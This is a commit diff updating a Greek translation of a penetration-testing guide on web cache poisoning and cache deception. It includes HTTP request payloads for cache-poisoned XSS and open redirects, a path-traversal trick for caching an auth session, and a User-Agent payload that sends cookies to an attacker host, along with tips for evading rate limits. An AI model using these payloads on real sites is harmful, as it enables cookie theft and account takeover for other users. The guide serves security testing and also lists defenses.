Translated ['src/pentesting-web/cache-deception/README.md', 'src/pentest

This commit is contained in:
Translator 2025-08-21 06:08:12 +00:00
parent 0379029fe1
commit 5c4952e71d
2 changed files with 106 additions and 50 deletions

View File

@ -6,17 +6,17 @@
> **Ποια είναι η διαφορά μεταξύ της δηλητηρίασης της μνήμης cache και της απάτης μνήμης cache;**
>
> - Στη **δηλητηρίαση μνήμης cache**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στη μνήμη cache, και αυτό το περιεχόμενο σερβίρεται από τη μνήμη cache σε άλλους χρήστες της εφαρμογής.
> - Στη **δηλητηρίαση της μνήμης cache**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στη μνήμη cache, και αυτό το περιεχόμενο σερβίρεται από τη μνήμη cache σε άλλους χρήστες της εφαρμογής.
> - Στην **απάτη μνήμης cache**, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει κάποιο ευαίσθητο περιεχόμενο που ανήκει σε άλλο χρήστη στη μνήμη cache, και ο επιτιθέμενος στη συνέχεια ανακτά αυτό το περιεχόμενο από τη μνήμη cache.
## Cache Poisoning
Η δηλητηρίαση μνήμης cache στοχεύει στη χειραγώγηση της μνήμης cache πλευράς πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απροσδόκητοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Το εύρος της επίδρασης εξαρτάται από τη δημοτικότητα της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο μόλυνσης της μνήμης cache.
Η δηλητηρίαση της μνήμης cache στοχεύει στη χειραγώγηση της μνήμης cache πλευράς πελάτη για να αναγκάσει τους πελάτες να φορτώσουν πόρους που είναι απροσδόκητοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Το εύρος της επίδρασης εξαρτάται από τη δημοτικότητα της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο της μόλυνσης της μνήμης cache.
Η εκτέλεση μιας επίθεσης δηλητηρίασης μνήμης cache περιλαμβάνει αρκετά βήματα:
Η εκτέλεση μιας επίθεσης δηλητηρίασης της μνήμης cache περιλαμβάνει αρκετά βήματα:
1. **Ταυτοποίηση Μη Κλειδωμένων Εισόδων**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να αποθηκευτεί ένα αίτημα στη μνήμη cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο διακομιστής. Η ταυτοποίηση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν τη μνήμη cache.
2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την εύρεση τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο.
2. **Εκμετάλλευση των Μη Κλειδωμένων Εισόδων**: Αφού ταυτοποιηθούν οι μη κλειδωμένες είσοδοι, το επόμενο βήμα περιλαμβάνει την ανακάλυψη του τρόπου κακής χρήσης αυτών των παραμέτρων για να τροποποιηθεί η απάντηση του διακομιστή με τρόπο που να ωφελεί τον επιτιθέμενο.
3. **Διασφάλιση ότι η Μολυσμένη Απάντηση είναι Αποθηκευμένη**: Το τελικό βήμα είναι να διασφαλιστεί ότι η χειραγωγημένη απάντηση αποθηκεύεται στη μνήμη cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης έχει πρόσβαση στη μολυσμένη σελίδα ενώ η μνήμη cache είναι δηλητηριασμένη θα λάβει την μολυσμένη απάντηση.
### Discovery: Check HTTP headers
@ -25,7 +25,7 @@
### Discovery: Caching error codes
Αν σκέφτεστε ότι η απάντηση αποθηκεύεται σε μια μνήμη cache, θα μπορούσατε να προσπαθήσετε να **στείλετε αιτήματα με κακή κεφαλίδα**, η οποία θα πρέπει να απαντηθεί με **κωδικό κατάστασης 400**. Στη συνέχεια, προσπαθήστε να αποκτήσετε πρόσβαση στο αίτημα κανονικά και αν η **απάντηση είναι κωδικός κατάστασης 400**, ξέρετε ότι είναι ευάλωτο (και θα μπορούσατε ακόμη και να εκτελέσετε DoS).
Αν σκέφτεστε ότι η απάντηση αποθηκεύεται σε μια μνήμη cache, θα μπορούσατε να προσπαθήσετε να **στείλετε αιτήματα με κακή κεφαλίδα**, η οποία θα πρέπει να απαντηθεί με **κωδικό κατάστασης 400**. Στη συνέχεια, προσπαθήστε να αποκτήσετε πρόσβαση στο αίτημα κανονικά και αν η **απάντηση είναι κωδικός κατάστασης 400**, ξέρετε ότι είναι ευάλωτο (και θα μπορούσατε ακόμη και να εκτελέσετε μια DoS).
Μπορείτε να βρείτε περισσότερες επιλογές στο:
@ -41,29 +41,29 @@ cache-poisoning-to-dos.md
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Εξαγωγή επιβλαβούς απάντησης από τον διακομιστή back-end
### Εξαγωγή μιας επιβλαβούς απάντησης από τον διακομιστή back-end
Με την παράμετρο/κεφαλίδα που έχει εντοπιστεί, ελέγξτε πώς **καθαρίζεται** και **πού** **αντικατοπτρίζεται** ή επηρεάζει την απάντηση από την κεφαλίδα. Μπορείτε να το εκμεταλλευτείτε με οποιονδήποτε τρόπο (να εκτελέσετε XSS ή να φορτώσετε έναν κωδικό JS που ελέγχετε; να εκτελέσετε DoS;...)
### Λάβετε την απάντηση που έχει αποθηκευτεί στην cache
### Λάβετε την απάντηση που έχει αποθηκευτεί στην κρυφή μνήμη
Αφού έχετε **εντοπίσει** τη **σελίδα** που μπορεί να εκμεταλλευτεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **εκμεταλλευτείτε**, πρέπει να λάβετε τη σελίδα αποθηκευμένη στην cache. Ανάλογα με τον πόρο που προσπαθείτε να αποθηκεύσετε στην cache, αυτό μπορεί να πάρει κάποιο χρόνο, ίσως χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα.
Αφού έχετε **εντοπίσει** τη **σελίδα** που μπορεί να εκμεταλλευτεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **εκμεταλλευτείτε**, πρέπει να λάβετε τη σελίδα που έχει αποθηκευτεί στην κρυφή μνήμη. Ανάλογα με τον πόρο που προσπαθείτε να αποθηκεύσετε στην κρυφή μνήμη, αυτό μπορεί να πάρει κάποιο χρόνο, ίσως χρειαστεί να προσπαθήσετε για αρκετά δευτερόλεπτα.
Η κεφαλίδα **`X-Cache`** στην απάντηση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το αίτημα δεν έχει αποθηκευτεί στην cache και την τιμή **`hit`** όταν είναι αποθηκευμένο.\
Η κεφαλίδα **`Cache-Control`** είναι επίσης ενδιαφέρον να γνωρίζετε αν ένας πόρος αποθηκεύεται στην cache και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800`
Η κεφαλίδα **`X-Cache`** στην απάντηση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το αίτημα δεν έχει αποθηκευτεί στην κρυφή μνήμη και την τιμή **`hit`** όταν είναι αποθηκευμένο.\
Η κεφαλίδα **`Cache-Control`** είναι επίσης ενδιαφέρον να γνωρίζετε αν ένας πόρος αποθηκεύεται στην κρυφή μνήμη και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800`
Μια άλλη ενδιαφέρουσα κεφαλίδα είναι η **`Vary`**. Αυτή η κεφαλίδα χρησιμοποιείται συχνά για να **υποδείξει πρόσθετες κεφαλίδες** που θεωρούνται **μέρος του κλειδιού της cache** ακόμη και αν κανονικά δεν είναι κλειδωμένες. Επομένως, αν ο χρήστης γνωρίζει το `User-Agent` του θύματος που στοχεύει, μπορεί να δηλητηριάσει την cache για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο `User-Agent`.
Μια άλλη ενδιαφέρουσα κεφαλίδα είναι η **`Vary`**. Αυτή η κεφαλίδα χρησιμοποιείται συχνά για να **υποδείξει πρόσθετες κεφαλίδες** που θεωρούνται **μέρος του κλειδιού της κρυφής μνήμης** ακόμη και αν κανονικά δεν είναι κλειδωμένες. Επομένως, αν ο χρήστης γνωρίζει το `User-Agent` του θύματος που στοχεύει, μπορεί να δηλητηριάσει την κρυφή μνήμη για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο `User-Agent`.
Μια ακόμη κεφαλίδα σχετική με την cache είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην cache του proxy.
Μια ακόμη κεφαλίδα σχετική με την κρυφή μνήμη είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην κρυφή μνήμη του διακομιστή μεσολάβησης.
Κατά την αποθήκευση ενός αιτήματος στην cache, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να χρησιμοποιηθούν **απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση cache με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί.
Κατά την αποθήκευση ενός αιτήματος στην κρυφή μνήμη, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές από αυτές μπορεί να **χρησιμοποιηθούν απροσδόκητα** ως **κλειδωμένες** και το **θύμα θα χρειαστεί να χρησιμοποιήσει αυτή την ίδια κεφαλίδα**. Πάντα **δοκιμάστε** μια δηλητηρίαση κρυφής μνήμης με **διαφορετικούς περιηγητές** για να ελέγξετε αν λειτουργεί.
## Παραδείγματα Εκμετάλλευσης
### Ευκολότερο παράδειγμα
Μια κεφαλίδα όπως το `X-Forwarded-For` αντικατοπτρίζεται στην απάντηση χωρίς καθαρισμό.\
Μπορείτε να στείλετε ένα βασικό payload XSS και να δηλητηριάσετε την cache έτσι ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να υποστούν XSS:
Μπορείτε να στείλετε ένα βασικό payload XSS και να δηλητηριάσετε την κρυφή μνήμη ώστε όλοι όσοι έχουν πρόσβαση στη σελίδα να υποστούν XSS:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
@ -85,9 +85,9 @@ cache-poisoning-to-dos.md
- Ο CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το `%2F..%2F`, επομένως, μπορεί να χρησιμοποιηθεί ως **path traversal για πρόσβαση σε άλλες ευαίσθητες τοποθεσίες που θα αποθηκευτούν** όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το `%2F..%2F`, και θα απαντήσει με `/api/auth/session`, το οποίο **περιέχει το auth token**.
### Χρήση δηλητηρίασης web cache για εκμετάλλευση ευπαθειών διαχείρισης cookie
### Χρήση δηλητηρίασης web cache για εκμετάλλευση ευπαθειών διαχείρισης cookies
Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απάντηση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απάντηση cache.
Τα cookies θα μπορούσαν επίσης να ανακλώνται στην απάντηση μιας σελίδας. Εάν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να είστε σε θέση να εκμεταλλευτείτε XSS σε αρκετούς πελάτες που φορτώνουν την κακόβουλη απάντηση cache.
```html
GET / HTTP/1.1
Host: vulnerable.com
@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
### Χρήση πολλαπλών κεφαλίδων για εκμετάλλευση ευπαθειών δηλητηρίασης cache <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Μερικές φορές θα χρειαστεί να **εκμεταλλευτείτε αρκετές μη κλειδωμένες εισόδους** για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορεί να βρείτε μια **Ανοιχτή ανακατεύθυνση** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το όνομα του domain για την ανακατεύθυνση. Μπορείτε να ελέγξετε πού δείχνει η σελίδα μέσω της ανακατεύθυνσης.
Μερικές φορές θα χρειαστεί να **εκμεταλλευτείτε αρκετές μη κλειδωμένες εισόδους** για να μπορέσετε να κακοποιήσετε μια cache. Για παράδειγμα, μπορεί να βρείτε μια **Ανοιχτή ανακατεύθυνση** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το όνομα του domain για την ανακατεύθυνση. Μπορείτε να ελέγξετε πού δείχνει η σελίδα μέσω της ανακατεύθυνσης.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -160,39 +160,75 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Αυτό το πραγματικό μοτίβο αλυσίδωναν μια βασισμένη σε κεφαλίδα ανακλαστική πρωτοβουλία με τη συμπεριφορά CDN/WAF για να δηλητηριάσουν αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες:
- Το κύριο HTML αντανάκλασε μια μη αξιόπιστη κεφαλίδα αιτήματος (π.χ., `User-Agent`) σε εκτελέσιμο πλαίσιο.
- Ο CDN αφαίρεσε τις κεφαλίδες cache αλλά υπήρχε μια εσωτερική/προέλευσης cache. Ο CDN επίσης αυτο-καταχώρισε αιτήματα που τελείωναν σε στατικές επεκτάσεις (π.χ., `.js`), ενώ ο WAF εφαρμοζε ασθενέστερη επιθεώρηση περιεχομένου σε GETs για στατικά περιουσιακά στοιχεία.
- Οι ιδιορρυθμίες ροής αιτήσεων επέτρεψαν σε ένα αίτημα σε μια διαδρομή `.js` να επηρεάσει το κλειδί/παραλλαγή cache που χρησιμοποιήθηκε για το επόμενο κύριο HTML, επιτρέποντας cross-user XSS μέσω ανακλαστικής κεφαλίδας.
Practical recipe (observed across a popular CDN/WAF):
1) Από μια καθαρή IP (αποφύγετε τις προηγούμενες υποβαθμίσεις βάσει φήμης), ορίστε έναν κακόβουλο `User-Agent` μέσω του προγράμματος περιήγησης ή του Burp Proxy Match & Replace.
2) Στο Burp Repeater, ετοιμάστε μια ομάδα δύο αιτημάτων και χρησιμοποιήστε "Send group in parallel" (λειτουργία single-packet λειτουργεί καλύτερα):
- Πρώτο αίτημα: GET μια διαδρομή πόρου `.js` στην ίδια προέλευση ενώ στέλνετε τον κακόβουλο `User-Agent` σας.
- Άμεσα μετά: GET την κύρια σελίδα (`/`).
3) Ο αγώνας δρομολόγησης CDN/WAF συν το αυτο-καταχωρημένο `.js` συχνά σπέρνει μια δηλητηριασμένη παραλλαγή cached HTML που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες κλειδιού cache (π.χ., ίδιες διαστάσεις `Vary` όπως `User-Agent`).
Example header payload (to exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:
- Πολλές CDNs κρύβουν τις κεφαλίδες cache; η δηλητηρίαση μπορεί να εμφανιστεί μόνο σε κύκλους ανανέωσης πολλών ωρών. Χρησιμοποιήστε πολλαπλές IP vantage και περιορίστε την ταχύτητα για να αποφύγετε τα triggers περιορισμού ρυθμού ή φήμης.
- Η χρήση μιας IP από το δικό cloud της CDN μερικές φορές βελτιώνει τη συνέπεια δρομολόγησης.
- Εάν υπάρχει αυστηρό CSP, αυτό εξακολουθεί να λειτουργεί εάν η αντανάκλαση εκτελείται στο κύριο HTML πλαίσιο και το CSP επιτρέπει την εκτέλεση inline ή παρακάμπτεται από το πλαίσιο.
Impact:
- Εάν τα session cookies δεν είναι `HttpOnly`, είναι δυνατή η zero-click ATO με τη μαζική εξαγωγή του `document.cookie` από όλους τους χρήστες που εξυπηρετούνται από το δηλητηριασμένο HTML.
Defenses:
- Σταματήστε να ανακλάτε τις κεφαλίδες αιτήσεων στο HTML; κωδικοποιήστε αυστηρά το πλαίσιο εάν είναι αναπόφευκτο. Ευθυγραμμίστε τις πολιτικές cache της CDN και της προέλευσης και αποφύγετε τις μεταβολές σε μη αξιόπιστες κεφαλίδες.
- Βεβαιωθείτε ότι το WAF εφαρμόζει την επιθεώρηση περιεχομένου με συνέπεια σε αιτήσεις `.js` και στατικές διαδρομές.
- Ορίστε `HttpOnly` (και `Secure`, `SameSite`) στα session cookies.
## Vulnerable Examples
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
Το ATS προώθησε το τμήμα μέσα στη διεύθυνση URL χωρίς να το αφαιρέσει και δημιούργησε το κλειδί cache χρησιμοποιώντας μόνο τον host, το path και το query (αγνοώντας το τμήμα). Έτσι, το αίτημα `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το κλειδί cache δεν είχε το payload μέσα του, μόνο host, path και query.
Το ATS προώθησε το τμήμα μέσα στη διεύθυνση URL χωρίς να το αφαιρέσει και δημιούργησε το κλειδί cache χρησιμοποιώντας μόνο τον host, τη διαδρομή και το query (αγνοώντας το τμήμα). Έτσι, το αίτημα `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το κλειδί cache δεν είχε το payload μέσα του, μόνο host, διαδρομή και query.
### GitHub CP-DoS
Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached response. Το κλειδί cache περιείχε το cookie, οπότε ήταν δυνατόν να επιτεθεί μόνο σε μη αυθεντικοποιημένους χρήστες.
Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached απάντηση. Το κλειδί cache περιείχε το cookie, οπότε ήταν δυνατό να επιτεθεί μόνο σε μη εξουσιοδοτημένους χρήστες.
### GitLab + GCP CP-DoS
Το GitLab χρησιμοποιεί GCP buckets για να αποθηκεύει στατικό περιεχόμενο. **GCP Buckets** υποστηρίζουν την **κεφαλίδα `x-http-method-override`**. Έτσι, ήταν δυνατόν να σταλεί η κεφαλίδα `x-http-method-override: HEAD` και να δηλητηριαστεί η cache ώστε να επιστρέφει ένα κενό σώμα απόκρισης. Θα μπορούσε επίσης να υποστηρίξει τη μέθοδο `PURGE`.
Το GitLab χρησιμοποιεί GCP buckets για να αποθηκεύει στατικό περιεχόμενο. **GCP Buckets** υποστηρίζουν την **κεφαλίδα `x-http-method-override`**. Έτσι, ήταν δυνατό να σταλεί η κεφαλίδα `x-http-method-override: HEAD` και να δηλητηριαστεί η cache ώστε να επιστρέφει ένα κενό σώμα απάντησης. Μπορούσε επίσης να υποστηρίξει τη μέθοδο `PURGE`.
### Rack Middleware (Ruby on Rails)
Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το scheme του αιτήματος. Όταν σταλεί η κεφαλίδα `x-forwarded-scheme: http`, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια.
Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το σχήμα του αιτήματος. Όταν η κεφαλίδα `x-forwarded-scheme: http` αποστέλλεται, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτό το πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια.
### 403 and Storage Buckets
Η Cloudflare προηγουμένως αποθήκευε 403 responses. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένες κεφαλίδες Authorization θα είχε ως αποτέλεσμα μια 403 response που αποθηκεύτηκε. Αν και η Cloudflare έχει σταματήσει να αποθηκεύει 403 responses, αυτή η συμπεριφορά μπορεί να είναι ακόμα παρούσα σε άλλες υπηρεσίες proxy.
Η Cloudflare προηγουμένως αποθήκευε 403 απαντήσεις. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένες κεφαλίδες εξουσιοδότησης θα είχε ως αποτέλεσμα μια 403 απάντηση που αποθηκεύτηκε. Αν και η Cloudflare έχει σταματήσει να αποθηκεύει 403 απαντήσεις, αυτή η συμπεριφορά μπορεί να είναι ακόμα παρούσα σε άλλες υπηρεσίες proxy.
### Injecting Keyed Parameters
Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο `size` σε αιτήματα. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) αποσταλεί επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου `size` οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο `size` σε αιτήσεις. Ωστόσο, εάν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) αποστέλλεται επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου `size` οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request σφάλμα.
### User Agent Rules
Ορισμένοι προγραμματιστές αποκλείουν αιτήματα με user-agents που ταιριάζουν με αυτά εργαλείων υψηλής κυκλοφορίας όπως το FFUF ή το Nuclei για να διαχειριστούν το φορτίο του διακομιστή. Παραδόξως, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως η δηλητηρίαση cache και DoS.
Ορισμένοι προγραμματιστές αποκλείουν αιτήματα με user-agents που ταιριάζουν με αυτά εργαλείων υψηλής κυκλοφορίας όπως το FFUF ή το Nuclei για να διαχειριστούν το φορτίο του διακομιστή. Σαφώς, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως η δηλητηρίαση cache και DoS.
### Illegal Header Fields
Η [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στα ονόματα κεφαλίδων. Οι κεφαλίδες που περιέχουν χαρακτήρες εκτός της καθορισμένης **tchar** περιοχής θα έπρεπε ιδανικά να προκαλούν μια 400 Bad Request response. Στην πράξη, οι διακομιστές δεν τηρούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, η οποία προωθεί κεφαλίδες με μη έγκυρους χαρακτήρες και αποθηκεύει οποιοδήποτε 400 error, αρκεί να μην είναι παρούσα η κεφαλίδα `cache-control`. Ένα εκμεταλλεύσιμο μοτίβο εντοπίστηκε όπου η αποστολή μιας κεφαλίδας με έναν παράνομο χαρακτήρα, όπως το `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
Το [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στις κεφαλίδες. Οι κεφαλίδες που περιέχουν χαρακτήρες εκτός της καθορισμένης **tchar** περιοχής θα πρέπει ιδανικά να προκαλούν μια 400 Bad Request απάντηση. Στην πράξη, οι διακομιστές δεν τηρούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, η οποία προωθεί κεφαλίδες με μη έγκυρους χαρακτήρες και αποθηκεύει οποιοδήποτε 400 σφάλμα, εφόσον η κεφαλίδα `cache-control` δεν είναι παρούσα. Ένα εκμεταλλεύσιμο μοτίβο εντοπίστηκε όπου η αποστολή μιας κεφαλίδας με έναν παράνομο χαρακτήρα, όπως το `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request σφάλμα.
### Finding new headers
@ -202,7 +238,7 @@ Example usage: `wcvs -u example.com`
Ο στόχος της Cache Deception είναι να κάνει τους πελάτες **να φορτώνουν πόρους που πρόκειται να αποθηκευτούν από την cache με τις ευαίσθητες πληροφορίες τους**.
Πρώτα απ' όλα, σημειώστε ότι οι **επέκταση** όπως `.css`, `.js`, `.png` κ.λπ. είναι συνήθως **ρυθμισμένες** να **αποθηκεύονται** στην **cache.** Επομένως, αν αποκτήσετε πρόσβαση στο `www.example.com/profile.php/nonexistent.js`, η cache θα αποθηκεύσει πιθανώς την απόκριση επειδή βλέπει την **επέκταση** `.js`. Αλλά, αν η **εφαρμογή** **αναπαράγει** με το **ευαίσθητο** περιεχόμενο χρήστη που αποθηκεύεται στο _www.example.com/profile.php_, μπορείτε να **κλέψετε** αυτά τα περιεχόμενα από άλλους χρήστες.
Πρώτα απ' όλα σημειώστε ότι οι **επέκταση** όπως `.css`, `.js`, `.png` κ.λπ. είναι συνήθως **ρυθμισμένες** να **αποθηκεύονται** στην **cache.** Επομένως, αν αποκτήσετε πρόσβαση στο `www.example.com/profile.php/nonexistent.js`, η cache θα αποθηκεύσει πιθανώς την απάντηση επειδή βλέπει την **επέκταση** `.js`. Αλλά, αν η **εφαρμογή** **αναπαράγει** με το **ευαίσθητο** περιεχόμενο χρήστη που αποθηκεύεται στο _www.example.com/profile.php_, μπορείτε να **κλέψετε** αυτά τα περιεχόμενα από άλλους χρήστες.
Άλλα πράγματα για δοκιμή:
@ -219,11 +255,11 @@ Example usage: `wcvs -u example.com`
Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **αποθηκεύει** αρχεία **βάσει** της **επέκτασης** του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ θα έχει ένα `text/html` content-type αντί για ένα `text/css` mime type (το οποίο είναι το αναμενόμενο για ένα _.css_ αρχείο).
Μάθετε εδώ πώς να εκτελέσετε [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Μάθετε εδώ πώς να εκτελέσετε [Cache Deceptions επιθέσεις εκμεταλλευόμενοι το HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools
- [**toxicache**](https://github.com/xhzeem/toxicache): Σαρωτής Golang για να βρείτε ευπάθειες web cache poisoning σε μια λίστα URL και να δοκιμάσετε πολλές τεχνικές έγχυσης.
- [**toxicache**](https://github.com/xhzeem/toxicache): Σαρωτής Golang για την εύρεση ευπαθειών δηλητηρίασης web cache σε μια λίστα URL και δοκιμή πολλαπλών τεχνικών ένεσης.
## References
@ -233,6 +269,8 @@ Example usage: `wcvs -u example.com`
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
